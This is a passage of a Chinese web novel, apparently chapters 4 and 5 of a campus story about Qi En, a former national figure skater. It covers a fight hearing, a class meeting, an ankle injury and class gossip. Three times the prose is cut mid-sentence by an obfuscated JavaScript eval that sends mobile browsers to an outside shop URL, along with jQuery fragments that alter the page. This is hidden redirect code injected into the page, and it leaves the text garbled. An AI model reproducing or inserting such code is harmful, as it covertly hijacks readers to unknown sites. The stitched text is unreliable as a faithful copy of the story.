;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13410162|141293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 “你们在说什么?”她高声询问,“有什么话不能说给我们大家听吗?非要私底下交流?” 她说完的一刹那,整个办公室陷入冰封。 温主任和刘彩的眼睛都瞪直了。 高玟和张其薪也怔了、傻了。 这姐怎么这么勇啊? 当面硬刚,国手都这么血气方刚的吗? 柯俐气得眉一竖,要训人,看到温主任还在,强摆出笑容:“齐同学,这和你又没关系。” “怎么和我没关系?”齐恩反驳,“张其薪说周第骂我,人身攻击,这也和我没关系?” 柯俐一怔:“什么意思?他说你什么了?” “他说我是残疾。公然辱骂国家运动员。” “啊,是,好像是得开会讨论。”齐恩煞有其事,“触犯刑法,情节严重得判三年呢。” 周第慌道:“你,你不能上纲上线,我就是随便说了两句,哪有辱骂你那么严重……” 齐恩心平气和地,拿出手机作势要拨号:“其余人我管不着。你们打架,至于谁先冒犯到谁,又有什么隐情,不查监控谁也不能确定。不过你既然辱骂了我,我是肯定要报警的。” 这一顿操作把其余人都吓住了,班主任刘彩更是脑门直冒汗。从业才第二年,十七班是他带过的第一个班,初出茅庐就遇见这样的刺头。 和警车进校园这事相比,学生斗个殴啥的实在是太小的事,要么口头批评,要么停课处分。要是真闹出一高学生公然辱骂花滑国手的丑闻……温主任连忙制止她:“等等,齐同学,先别着急,老师们还没有把情况调查清楚。” 柯俐的反应也很快,快步上前道:“齐同学,你肯定是误会了,周第他没有那个意思。” “有没有那个意思,看看监控不就行了吗?”高玟乘胜追击,“难道不能看吗?” “没有说不能看。”温主任抬手,无视了柯俐的欲言又止,“现在就给安保科打电话。” 局面因齐恩的入场而突然两极反转。此刻,有人捏了把汗,有人松了口气。十七班是后者。 办公室逐渐安静下来,只剩温主任在拨号。 有人轻咳了两声,是卢俜。 “温主任,不用麻烦您查监控了,周第说是他先动手的,他也愿意承担一切责任和后果。” 在他身侧,周第抿了抿干涩的唇,没了之前威风的神色。“是我……先动的手。”他低下了脑袋,“对不起,张其薪,我给你道歉。” 柯俐也抿起一个局促的笑:“啊,是,这一回是我们班学生的错,回头我会好好教育的。” 包变脸,还真是包变脸。 吃软怕硬的一班人。 高玟假惺惺地说反话:“我看不是,张其薪的错更多一些,温主任,这还是得处分。” “处……处分的事……”周第胸膛急促地起伏,“没,没有那么严重吧,温主任?” “同学之间的打闹而已,当然没那么严重。回头我和刘老师好好教育他们就好了。”柯俐以讨好的神态望向刘彩,“是吧,刘老师?” 这事能平息就是最好的结果。刘彩是年轻老师,不想得罪谁,当然也不想被谁得罪。 如此一来,最后的结果变成两人各停课一周,各写检讨,下周的国旗下讲话时公开批评。 一堆人前前后后出了办公室。 温主任无奈地捏了把眉心。 一个两个的,说实话,这些学生都不是他一个普普通通的教育工作者能随便得罪得起的。 周第家里关系很硬,张其薪家的关系也不软。 难做啊。 外面的走廊上,刘彩领着十七班的人去医务室看袁礼米,柯俐和两位同学坐电梯下行。 不巧电梯在维修,他们折返回来,齐恩放了拐,单脚靠在医务室前,闻声和卢俜对视上。 她过于漂亮张扬,中美混血的五官大刀阔斧,像劈开大山大河、某个国度的版图。 年轻、有朝气、英姿飒爽。 尤其符合方才兴师问罪的气势。 并不是一个好招惹的人。 想到今早在便利店时,因不擅长和麻烦的人或事打交道,而随意地对一位女同学施以援手。 卢俜顿感自己做了一件麻烦事。 4. 伤残等级 真是奇特。任凭外面的世界闹了个底朝天,又是有人打架,又是有人处分,又是有人报警。 医务室里的袁礼米依旧睡得香甜。 直到感觉有人在拍她,袁礼米才懒懒地睁开眼,班主任的大黑脸霎时出现在她面前。 袁礼米梦中惊坐起:“彩老师你怎么来了?” 班长带头打架,前国手刺头转校生,学习委员还是个睡神……这是一群什么奇葩学生? 刘彩气都气笑了。 “外面那么吵,没打扰你睡觉吧,袁礼米?” 袁礼米闻言,害臊地低下头去:“老师……” “行了,身体还有没有哪里不舒服?” “没有了。”袁礼米想起自己为什么晕倒,“那个……麻烦你们了……” “不麻烦。”高玟捏她脸颊肉,“小厘米。” 刘彩说:“你们啊,一天天的书读不了几页,倒是很团结……以后少和一班同学看对眼。” “啥看对眼啊,老师,这词是这么用的吗?” “动物不就是?一群小猫小狗的,在街边遇见了,不能对视,看对眼了就要打架。” “哪有把人比成狗的啊!”高玟吐槽。 这一趟有惊无险,虽然要写检讨,但至少没挨处分。张其薪没办法跟同学们一起其乐融融。他走到医务室门口,看到倚墙站立的齐恩。 他干涩地朝她开口:“谢谢你帮我解围。” 齐恩抬眉笑了:“小意思啦,客气什么?” 张其薪站在靠齐恩左手一侧,他有话要说。 齐恩察觉到,就把拐杖挪到自己右手边。 两个人之间横亘的银白色被打破。 社交距离变近了。 张其薪折过头看她:“说真的,谢谢你。我爸是体制内的,我背了处分还挺麻烦的。” “都说了不用客气。”齐恩顿了顿,“而且你不也帮我出头了?他也骂我了,你揍得好。” 张其薪垂眸道:“其实我后来也觉得不对劲,明明场合不合适,他为什么非得激怒我?” “你得罪过他吗?”齐恩问,“他是因为一班和十七班的过节想整你?还是单纯对你这个人有意见?而且,他知道你家体制内的关系吗? “你这么一说,我感觉他是受人指使……咱们班和一班的事很难解释,回班上再细说吧。” 齐恩颔首。张其薪也没让话题冷下来。 “说实话,我一开始以为你是那种人。” 齐恩不确定他的语意:“我是哪种人?” “就是……比较圆滑的人。”张其薪解释,“你身份在那里,容易引人注目,所以……” “你是想说,我是公众人物,不想惹麻烦,所以会独善其身?”齐恩爽朗地大笑起来,用力摆了摆手,“我不是那种人……差的远了!” 齐恩笑得花枝乱颤,眉眼弯弯。 张其薪却不自在地别开眼。 齐恩很漂亮,但男生们不会搬到明面上讲。 同他一样的,这个年龄段的男生正在经历两性的启蒙认知,对异性的美基本持回避态度。 但这不代表他们不在意,相反,张其薪敢肯定,就齐恩出现在学校的小半天,和她有关的话题已经在论坛上满天飞了,从身高三围到过往,甚至私下的联系方式都有人花大钱打听。 想和那些背地里暗戳戳看她的男生不同。 张其薪又壮起胆子,光明正大地注视她。 齐恩已经不笑了。 她俯首,颈间扫过碎发。 她在看自己的右脚。 她有旧伤,媒体报道过几次,可他才想起: “你的脚没事吧,需不需要去医院复查?” “我没崴到那里,摔的是后腰。”齐恩说,“我周末会去复查,倒是你,没事吧?” “其实也是一些皮外伤。”张其薪顿住,“如果你不方便出行,我可以陪你去复诊。” 此话一出,齐恩似笑非笑地瞧着他。 张其薪窘迫地道:“我是班长,帮助同学是应该的。别的不谈,你受伤也是因为我。” “不麻烦你。”齐恩这回婉拒了他,“不过,你下周复课的时候,就能看到我扔拐杖了。” “啊,恭喜你。”张其薪说,“下周你也能看到我在国旗下讲话挨批了。” “好汉不挨批,天打又雷劈。”齐恩宽慰他,“没被批评过还能叫学生时代吗?” 这时,刘彩也带着高玟和袁礼米出来了。 “回班,正好开班会,给你们交代点事情。” 一众人回到班上,袁礼米的脸还是红扑扑的,时不时望向自己的偶像。在得知齐恩是自己的新同桌之后,她激动难掩地捂住心脏。 “我在做梦吧!”她泪眼盈盈,不可置信的,“齐恩!你就像一场梦一样出现了!” 那我是啥,周公?齐恩这样想着,扶住了她:“袁同学,你先坐下吧,别又晕倒了。” 彩老师在讲台上发表重要讲话。 说是重要,其实也就是提醒大家注意点班级之间的距离,不要随便找别班同学的不痛快。 “还有些同学,温主任都说了别串班别串班,还天天往十八班跑,像屁股粘在那儿一样。” 见谌俞偷笑,刘彩点名道姓,“说的就是你,谌俞,一天到晚哈哈、哈哈,等于自杀。” 一时间,班上都哄笑开了。 “还有的同学,上课上课不上,干啥的都有,玩手机、睡觉,这些我就不说了,起码还是班上。有一些同学啊,上课上着上着人不见了,大课间才回来……谌俞,我说的还是你。” 有人忍笑得更艰难。 刘彩停顿话语,瞥了一眼脸色通红的学习委员袁礼米,小姑娘面子薄,也不是故意睡过去。 又看向仍一脸愧色、等待挨批的班长张其薪。其实也是仗义的行为,还替他这老师鸣不平。 刘彩不想当众批评这些孩子。 最后,他看向初来乍到就锋芒毕露的齐恩。 “有的同学,刚来就搅得十七班不安宁。” 刘彩忽然这样严肃,班上同学一半都抬起头。 说的是谁大家都清楚,纷纷望向后排的齐恩。 只听见下一秒,刘彩说:“还回头,还回头,说的就是你们这些人。老师在前面,黑板在前面,你们是一点儿也不往前看。齐恩就长那么漂亮吗?能当书读?高考你们就考齐恩吗?有的男同学哈,我真的不想说你们,一个大课间回头十几次,问他在看什么,老师,我在看钟,在看时间……你们那是在看时间吗?” 十七班爆发出惊天动地的笑声和捶桌声。 隔壁十八班的班主任:“……地震了?“ . 刘彩走了,班上的人还在讨论方才斗殴的事。一般来说,一个事儿在本班是最先传开的。高玟立刻趁着大课间,绘声绘色、原汁原味地和班上的同学讲了一回,当然也有齐恩的戏份。 齐恩很尴尬,周围好多星星眼瞧着她。 谌俞尤其:“噢!齐恩,我的女神!你这是救了张其薪的命啊!张其薪,快来认爹。” 张其薪说不出口,他不是那种欠儿登的人。 有些话,谌俞说出来就很自然,他不行。 “别,一天到晚爹爹爹的,咱们这是班级群,又不是家族群。”高玟话锋一转,“当然,你要是愿意叫我一声爹,那我没意见。” “你想得美!”谌俞翻白眼,又对齐恩说,“说到班级群,你是不是没进?” “我现在加。”齐恩拿出手机扫了群。 “云南老表群?”齐恩问,“这是什么群名?群主是这个……彩蘑菇的小菇凉?” 女同学大笑起来:“群主是彩老师!” “为什么叫这个名字?”齐恩来了兴趣。 “因为去年暑假,彩老师在云南旅游采蘑菇,采到见手青,炒了吃结果中毒了。”高玟忆起就想笑,“中毒了在医院打点滴,他还开群视频跟我们聊天,说他是云南的,云南怒江的。喊我们老表,说他自己是采蘑菇的小菇凉。” 她模仿刘彩大舌头的样子唱歌儿,“采蘑菇的小菇凉,背着一个大竹筐……” “他当时真的这样唱了?”齐恩忍俊不禁,“你们肯定录视频了吧?” “那不然呢?”谌俞说,“我发给你……” 话音未落,群里叮咚一声消息。 【彩蘑菇的小菇凉】:隔壁班主任说你们在偷笑。不许给新同学乱发我唱歌的视频啊。 料事如神! 有人边笑边回复:“彩老师,已经发了。” “谁发的?”刘彩艾特了【一高博尔特】,“谌俞,是不是你?我一猜就猜到是你。” 【一高博尔特】:老师,你不能冤枉良民啊。 底下有人在斗表情包,大多是刘彩的丑照。 齐恩觉得可逗,顺手就保存了两张。 【彩蘑菇的小菇凉】:行了,大课间要过了,把你们手机都收起来,别让陈老师来告状。 上午一二节政治课,三四节数学课。陈老师是个戴眼镜儿的小老头,真的会拖堂的那种。 老师在讲卷子,齐恩宛如听天文书。高玟咬着手指刷地理题,袁礼米倒是听得十分认真。 张其薪被点上去讲题,听高玟说数学是他强项。齐恩心想,原来艺体班也是要学的呀。 又问张其薪学的是艺术还是体育,高玟说:“他和小厘米不一样,我学编导,你学表演,谌俞走体育,他们才是正儿八经高考的。” “这俩人学习那么好,干嘛要来咱们班啊?” “其实小厘米是本班的,司长是从一班转过来的,不过具体发生了什么,我们也不清楚。” 这还真是小说化的情节,有隐情的武林高手,隐姓埋名于市,还一些帮派的人结了仇。 真有意思,齐恩想象力丰富,一边感慨着一边转笔,注意力四处乱转,就是回不到题目上。 原本以为自己已经够一头雾水了。 却看到后桌的谌俞同样在发呆。 “诶,那道题你听得懂吗?”齐恩问他。 谌俞看着满黑板的字母:“我不会英语。” “……” 齐恩原本以为一知半解的只有自己,没想到班上有一半的人都在各做各事。数学陈老师早就见怪不怪了,拖堂讲完试卷就叹着气走人了。 正好是饭点,谌俞带齐恩去食堂办饭卡。 “谌俞,你是不是也数学不好?” “你怎么知道?我数学没到过及格线。” 齐恩摸着下巴:“文化分太低也不好吧。” “是啊。”谌俞苦哈哈的,“我又不是你。” “什么意思?” “你是奥运冠军诶!” 谌俞很夸张:“你不懂奥运冠军的含金量吗?以你的成绩,都不用统考,好学校随你保!” “这我倒不知道,是不用考文化课的意思?” “那当然啊。”谌俞说,“我嫉妒死你了!” “那我不是伤残人士么?”齐恩看向右脚。 “对了,我打算报个班。”她说。 “什么班?数学班?校外的那种吗?” “嗯。目前我的数学实在太差了。” “咱们榕城好早之前就严打线下培优班了。”谌俞说,“不过,你可以看看线上的。” “网课?”齐恩在B站大学上刷了一会儿,“没有那种老师实时教学沟通的网课?” “有是有,这你得问问张司长,我不了解。不过他中午就停课了,等他下周复课再说吧。” 齐恩说:“我就是想找个老师,不嫌我基础差就行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13410163|141293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。我看张司长讲题很厉害啊……他缺钱吗?做兼职吗?可以聘请他给我们补课。” “他?”谌俞笑了,“你说张其薪啊,谁缺钱他都不会缺钱,还聘请他呢,你可拉倒吧。” “说是这么说。”齐恩摸下巴,“你不也得提一下文化分?既然你数学英语都不行的。” “越界了啊。”谌俞被戳到痛处,义正严辞地驳斥她,“你这样,我们之间太暧昧了。” “……” 充值处的阿姨把校园卡递过来,谌俞提醒她:“这卡是门禁卡,阅览卡,也是饭卡。但我不建议你往里充太多,我上学期充了两千,结果在操场被偷子顺了,一下子给我全刷光了。” 往饭卡里随手一充就是两千,齐恩正儿八经地打量着谌俞,一身的运动潮牌,海外限量款的乔丹,又想到他说,张其薪家里更不缺钱。 “……你们该不会都是富家子弟吧?” “那不至于,不至于。”谌俞摆手。 齐恩不知在想什么,眼神黯淡下去,光影落在一根根锋利下抑的尾睫上,“那就好。” “怎么?难不成你仇富吗?”谌俞是开玩笑。 “没有。”齐恩抬手摁住自己的眉骨,“只是很难和他们打交道啦……我不喜欢太复杂。” “唉,别提,大家都是老百姓,好吗?”谌俞嘀咕了一句,“真正有钱的是一班那群人。” 说到一班,自然扯出许多渊源,谌俞想边吃饭边和她聊。其实他也有私心,齐恩这么有名,一路走到食堂,瞧瞧多少兄弟对他嬉皮笑脸? 其中不乏艳羡者。 人都希望和光鲜亮丽的人做朋友。 谌俞也不例外。 “我请你吃小炒。”谌俞问,“想吃什么?” “别,我去一楼超市买吃的对付一顿。” “你不吃饭?”谌俞说,“该不会在减肥?” “没,我想吃面包。想请我,等下次吧。” 谌俞急促地眨了眨眼,最后也抬脚跟上她。 “那我也吃面包吧,突然就想吃了。” 齐恩并非迟钝,她朝着谌俞抿着笑意。 “那不然?你一个人也不方便,我怎么好意思扔下你。”谌俞尴尬地摸摸鼻子,“走吧。” . 齐恩周末去医院复查,医生告诉她可以脱拐了。脱拐要步态训练,还有一些注意事项。 下个周一,也就是升国旗那日,齐恩终于能够以两只脚的形态出现在同学们面前。 因为刚脱拐,她的右腿还有点跛,但不影响日常出行,就是不能走太久,不然后腰会酸。 齐恩快乐地来到操场上,尽管不健步如飞,但终于不用当三脚架,她的脸上洋溢着笑容。 “待会儿张其薪和周第就要上去做检讨了。”高玟说,“齐恩,你这时候笑就有点怪。” “怪就怪我这条腿!”齐恩伸出右脚,“不知道怎么的,今儿个我看到它,我就高兴!” “行了行了,知道你脱了拐高兴。”谌俞提议,“放学了出去吃点庆祝一下?我请客。” 齐恩点了点头。这时小号响起,升旗仪式开始了。流程还是那样,齐恩却觉得挺有意思,在训练基地或者颁奖台上升旗,和在学校里升旗又不一样。大家都站在一起,虽然说不上多热闹,但主持人就是身边的同龄人,也很新奇。 唱完国歌,就是国旗下讲话的环节,齐恩以为张其薪和周第要上去检讨了,没想到先走上台的是卢俜和方婕。两人都穿夏季正装,笑容得体、口齿清晰,发表市三好学生的获奖感言。 闪光灯亮起,有摄影师在正前方拍照。 “搞这么大架势,全校就他们班最牛。”谌俞说,“对,特别那个卢俜,虽然周第也很贱,但我总觉得卢俜一副看不起别人的样子。” “方婕也很恶心好不好?仗着自己管扣分,天天使唤人,还只给男生消分。”高玟附和。 谌俞迟疑:“方婕吗?她倒还好吧。” “直男!汉子婊也看不出来!给你点好处就被她收买了!”高玟朝他翻了个大大的白眼。 周遭很哄闹,袁礼米却在站着睡觉,差点仰躺在她身后的齐恩怀里。齐恩忙伸手接住她。 刘彩同其他班主任一样,在队伍中后方巡逻,看到齐恩身上的睡神袁礼米,他又气笑了。 刘彩拍醒她:“袁礼米,你昨晚几点睡的?” 袁礼米说自己熬夜学习,白天精神确实不好。刘彩让她调整作息,以后尽量十二点前睡。 事实上,没几个人专心听台上的学生讲话。 无论是优等生还是差等生,表彰还是批评。 总之,这周的升旗仪式在阵阵喧声里结束了。站了二十分钟,齐恩腿都麻了。她顺着人流往教学楼去。上楼梯的人太多,她等了一会儿。 她确实多等了一会儿。 如果她知道自己的伤残等级即将增加。 她绝不会多等这一分半钟。 可当时她不知道。 就像卢俜也不会知道。 他往下,去归还颁奖用的空白证书。 她往上,楼道里的人好不容易少些。 齐恩扶着楼梯,小心翼翼上行,可再小心也没办法规避一切风险。她低头,他平视。两人擦肩而过,有男生在嬉笑,挤搡卢俜的后背。 他往前绊了一步,踢到了什么。 并不是楼梯或地面。 下一秒,齐恩痛呼,脚撇了地面栽倒下去。 一瞬间,卢俜感受到周遭无数目光的重量。 高调张扬的前国手此时侧躺在拐角处,颤抖、蜷缩起身体,两只手紧紧抱住自己的左脚踝。 卢俜走过去,蹲下身问:“你还好吗?” 齐恩抽着细细的气:“你很讨厌我吗?” “……非要猛踹瘸子那条好腿?” 5. 三好学生 卢俜只好解释:“抱歉,我不是故意的。” “这不是一句废话?”齐恩脸贴着地面,直勾勾盯着他问,“你有没有觉得地上很硬?” 卢俜不知怎么回答:“……我不清楚。” “废话!躺在地上的又不是你!” 齐恩瞪他:“还不扶我起来?” 卢俜赶紧把女国手搀扶起来。 齐恩扶着断裂般的左脚嘶嘶两声,在他小臂的借力下堪堪站直。他不太正常,浑身都绷紧,身体作出闪躲的预备式。齐恩疑惑地看他。 这时候才察觉卢俜很高,她只到他的喉结处。 “你躲什么?”齐恩问,“我是瘟疫吗?” 卢俜抿着干涩的唇:“……不是。” “那拜托你送我去医务室,行吗?” 没有不行的选项。 三好学生只能照做。 齐恩试着走两步。走两步,没病走两步。 有病,病很大,左脚踝被一阵阵电流猛击。 我的拐,她心说。她这时候只想念她的拐。 卢俜扶着她,慢吞吞地前行,往医务室。 不时有路过的人围观,两人都没说话。 好在电梯已经修好了,能省去上楼的苦刑。 进了电梯,齐恩靠住栏杆,卢俜去按楼层。 齐恩突然问:“你到底是不是我粉丝?” 卢俜不明所以,镜片下闪着棱光:“什么?” “上周在小卖部帮我付钱,是你吧?” 卢俜回答是,电梯门打开。 他来搀扶她,齐恩重新搭上他的手。 卢俜回答的是第二个问题。 齐恩默认了第一个问题的答案。 好吧,他就是有点腼腆。这小粉丝。 “那你有什么想对我说的吗?”齐恩摆出完美的营业状态,对粉丝,她总可以容忍一些。 卢俜无话可说,做沉默状,把她送进医务室。 值班老师抬头:“齐恩?这是怎么了?” “这回伤的人是我。”她抬脚,“崴了。” “怎么突然就崴了?”老师把她扶到椅子上。 齐恩直直睨向卢俜:“你说呢,卢同学?” 卢俜暗中捏紧了衣袖:“大课间走楼梯的时候,我不小心往前绊了一下,踢到她了。” “也真是,走路不知道小心一点。”陈老师感叹,“人家是运动员,能少受伤就少受伤。” 非常麻烦。卢俜低声说:“我知道了老师。”又朝齐恩欠身,“对不起,齐恩同学。” 他这样的态度,既木讷又刻板。 却让人没什么好苛责的。 “没别的事,我就先去上课了。”卢俜转身。 齐恩本想点头,想到上周张其薪和周第的事,他在旁边看戏的态度,突然有点儿不爽。 既然是她的粉丝,又殷勤地请她喝水,怎么人多的时候,搞得和她没有交集的样子? 又想到她话没说话,他总避之不及的背影。 “诶,你等等。”她这回总能叫住他了。 卢俜的肩背僵直一瞬,很快折回来,面无喜色地问:“怎么了?还有什么事吗?” “你联系方式。”齐恩拿出手机。 “抱歉,我们班不让带手机。” “号码也行。”齐恩往前递屏幕,“输入。” 这还是她头一回管别人要联系方式。 卢俜只好打出自己的联系方式。 齐恩顺着找到微信,很简单的纯白头像。 “卢俜。你微信名就叫这个?” 真是刻板的书呆子,他也点头承认了。 “行了,你走吧。”看他浑身都不自在的拧巴样儿,齐恩宽宏大量地放他离开了。 卢俜却没能走多远。在往教学楼去的长廊上,他和以谌俞为首的一大群体育生狭路相逢。 这边,谌俞和朋友们往医务室去。 他们也才听说齐恩摔倒的事儿。 “就你把齐恩弄摔了?”有人率先开口。 卢俜不语,默默绕开他们,没想到谌俞又拦。 “你们一班的人,可真招人嫌。”谌俞冷笑。 卢俜同样不置可否,侧身过缝隙,快步离开。 说是一种避让也好,说是不做纠缠也罢。 到是很符合一班人见机行事的尿性。 其实卢俜和谌俞没有实打实的过节,卢俜是一个很低调的人,会读书,但不擅出风头。 谌俞和他接触很少,或者说任何人和他接触都很少。卢俜符合普罗大众眼中的学霸,闷头做题、不闻外事、不善言辞,这种人通常没什么朋友,除了必要时候,没有人会多注意他。 比起他,更讨厌卢俜的人是张其薪。 谌俞目送他的背影,随后往医务室去。 . 到了地方,齐恩已经上好了药。云南白药喷雾的味道充斥鼻腔,她支着绑好白绷带的脚踝。 谌俞身后是一堆男生,个个人高马大的,腆着笑脸挤进来和她打招呼、要签名儿。 “这些都是校体育部的,我的好哥们儿,他们可想看看你了,我就带过来了。”谌俞介绍。 齐恩笑笑没说话。 她知道他在炫耀些什么。 或者说,每个接近她的人或多或少都有这类的想法。只是有人大方表露,有人藏着掖着。 这是人之常情,齐恩没有苛责谁的意思。 值班老师看那群男生太闹哄,一挥手就把他们赶走了。谌俞还在,去医用冰箱拿了一块冰袋给她敷,又细致地隔一层毛巾,放在腿凳上。 齐恩是靠近脚背的地方崴到了,谌俞用左手把冰袋摁在上面,一直举着防止它掉下来。 齐恩感觉伤处好受多了,但看他指尖冻得通红,很不好意思:“我自己来吧。” “我来。”谌俞拂开她的手,“你够不着。” “我曲起膝盖就够得着了。”齐恩推脱道。 “那样脚背绷不直,你也不舒服。”谌俞说,“我自己也是学体育的,知道这些,尽快把肿消下去吧,不然只会越来越严重。你别看现在只是小疼,等睡一觉起来,天都能疼塌掉。” “有道理。”齐恩忽略他泛红的耳尖。 重新躺回去,她划拉着微信界面。 还停留在卢俜的个人名片。 “卢……”她和谌俞同时开口。 齐恩朝他仰着下巴:“你先说。” “刚才我在路上遇见他了。”谌俞说,“真不知道他是故意的还是不小心的,就上次张其薪和周第的事儿,能看出他不是什么好东西。” “是他送我来医务室的。”齐恩顿了顿,“他应该不是故意的,我看他道歉态度很诚恳。” “那又不能说明什么……”谌俞说,“反正彩老师也说了,我们还是少和一班人打交道。” “也没什么机会打交道。” 齐恩听闻过一班和十七班的恩怨。 “最早可以追溯到高一开学军训后,张其薪突然就转到我们班了。”高玟说,“很奇怪,他是学理的,就算转文科班,也不该转到我们十七班啊。”十七班和十八班都是大杂烩班级,学艺术的、学体育的、准备出国的,什么都有,当然也有部分学生按部就班准备高考。 不过,这绝对不是优等生该呆的地方。 “他来的时候谌俞还很看不起他呢。再半个月后的开学考试,他全年级前十,彩老师就让他当班长,然后谌俞是体育委员,两个人因为运动会报名才有交集的,后来就关系很铁了。” “直到高一下学期的春运会,有打篮球的项目,咱们班女生少,基本绝缘半决赛了,谌俞又很想打,所以给文科十班代打,结果碰上一班,把一班打爆了,周第就说谌俞是场外。” “原来场外逼是那么来的。”齐恩颔首。 “是啊,谌俞不服气,和周第理论。周第更不服气,说十七班以后都是去工地搬砖的。” “这不是搞学历歧视吗?”齐恩蹙眉,“还搞了职业歧视!工地搬砖惹到他了?” “是啊,我们十七班不服气,校园论坛和他们对喷,当时正好一班一个男生的爸爸涉嫌贪污,我们就说大清亡了,怎么还有一班天龙人自称皇帝。新中国成立严打地主就老实了。” “哈哈哈哈,绝!”齐恩说,“然后呢?” “然后周第就跑到我们班破口大骂。”高玟耸了耸肩,“因为他就是那个男生。” 齐恩吃惊:“原来是他啊!然后呢?” “然后我就替父出征,替他爹教训他。他被我一脚踹回去了,说我是超雄矮女,鼻嘎点儿大还踹上人了……诶,你别笑啊,齐恩!”高玟跺了跺脚,“反正后来周第他爸平反了,不过具体什么位置也不清楚。那之后他又扬眉吐气了,搞得像没有他爸被警车拉走那回事一样!他还有个哥哥,也很宠他,什么都依着他。” “你怎么知道那么多八卦啊?”齐恩大为震撼,“学校里还有什么是你不知道的吗?” “你的内裤是什么颜色,我就不清楚。” 高玟嘿嘿笑两声,作势扒她校裤。 袁礼米都被两人聊天的尺度惊呆了。 齐恩习惯了,边闪躲高玟的咸猪手边笑问:“那周第说张其薪偷分贼,是怎么一回事?” “就是去年期末考试,有一道数学压轴题是陈老师出的,张其薪经常去他办公室,那道题又只有张其薪和卢俜做出来了,结果他们数学分数也一样。一班的不服气,说张其薪是偷了分数才和卢俜平起平坐,不然哪能上桌吃饭?” 齐恩听着都觉得不舒服:“他们班的学生这么嚣张跋扈,没人管管吗?温主任不管?” “谁管呐?”袁礼米也忍不住吐槽,“温主任就是太好说话了,他们班的班主任又……” 这倒是,回想起柯老师那虚伪的嘴脸。 齐恩摸了摸胳膊上突然出现的鸡皮疙瘩。 “宁得罪君子,毋得罪小人。”齐恩说,“现在看来,彩老师那时的反应还是很明智的。” “明智说不上,我们彩老师其实性格没好到那种地步。”高玟说,“可能当时事关张其薪的前途,所以他只能委曲求全吧。其实,彩老师在职场上遇到原则性问题是不会忍让的啦。” “比如呢?”齐恩问。 “比如那次偷分事件,彩老师就专门找出卷组核实过,最后帮张其薪正名了。” “我都有点儿爱上彩老师了。”齐恩顿了顿,“但是,这些好像和卢俜没关系。” “嗯?”高玟没懂她的意思。 “谌俞说张其薪和卢俜有过节。” “是么?”高玟回忆起,“说到这个,我能想到的只有一件事,不过也是小道消息,不一定属实。”她凑近齐恩和袁礼米,“听说张其薪喜欢过方婕,表过白。就转来咱们班之前。” 袁礼米惊呼一声,看来这事儿她也不知情。 不过她知道:“方婕不是对卢俜有意思么?” 齐恩问:“方婕?那个学生会长?” “是啊。”高玟蹙眉,“我不喜欢她。” 有些事,只有女生能在一瞬间产生心电感应。 袁礼米和她对视一眼:“嗯嗯,我也是。” 齐恩不懂这默契,却听得聚精会神。 原来张其薪和方婕还有过这么一段儿。 所以他们俩的往事和卢俜有关系?高玟说你问我不如问谌俞,我瞎打听的。现在正是契机,齐恩问起这个:“所以高玟说的是真的?” “唉,这个说法半真半假吧。”谌俞纠正,“表白是没有,但张其薪被拒是真的。” “诶,真被拒了?”齐恩想象不出来。 “是啊,就是很委婉的,方婕说对谈恋爱没兴趣。”谌俞说,“结果转头就和卢俜当同桌,还走得很近……你懂吧?就相当于拒绝了。” 齐恩问:“那卢俜呢?对她有意思吗?” “要有意思早就在一起了,都快高三了还没在一起就是没意思呗。”谌俞深谙此道,“而且你看卢俜那种人,像会谈恋爱的人吗?” “那张司长不就还有机会吗?” “人家现在可不一定喜欢方婕。” “诶,有道理。那他现在喜欢谁呢?” 谌俞瞧她:“怎么,你对他很感兴趣?” 谌俞的目光有些烫人,齐恩若无其事地移开了触及他掌心的左脚踝:“我就随便问问。” “都是随便问问,你怎么不随便问问我?” “好啊好啊。”齐恩打哈哈,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13410164|141293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有什么八卦给我听?我得先问问,这瓜保真吗?” “唉,骗你玩儿呢,追小爷我的人从天南排到地北,就前天,刚拒绝低年级的一个学妹。” 拿他人的喜爱当谈资,齐恩可没有这种心态,敷衍了几句,下课铃响,催促他去食堂吃饭。 “需不需要我给你带饭回来?” “不用。”齐恩目送他离开。 她有点儿犯难,对于这些短暂的示好。 学校里的同班同学,抬头不见低头见,并不是什么好处理的关系。这两人又是很好的兄弟。 齐恩思忖片刻,放下手机。 屏幕停留在张其薪发来的短讯。 “我中午来医务室看你吧。” 她不厌烦这个,他人对她的喜爱,一个合格的国王会对子民的爱戴照单全收。然而,再进一步的关系却很难维系,稍有偏颇就容易出格。 齐恩只是单纯感到棘手而已。 她在张其薪到来之前离开了医务室。 . 中午学生们都去食堂了,要么也是在教室吃速食。教学楼里人少,齐恩一瘸一拐地走回去,路上遇到方婕,她在逮教室里吃饭的同学。 “都说了多少次,去餐吧吃。”她朝十八班的一个男生说,“算啦,这次就不扣你分了。” 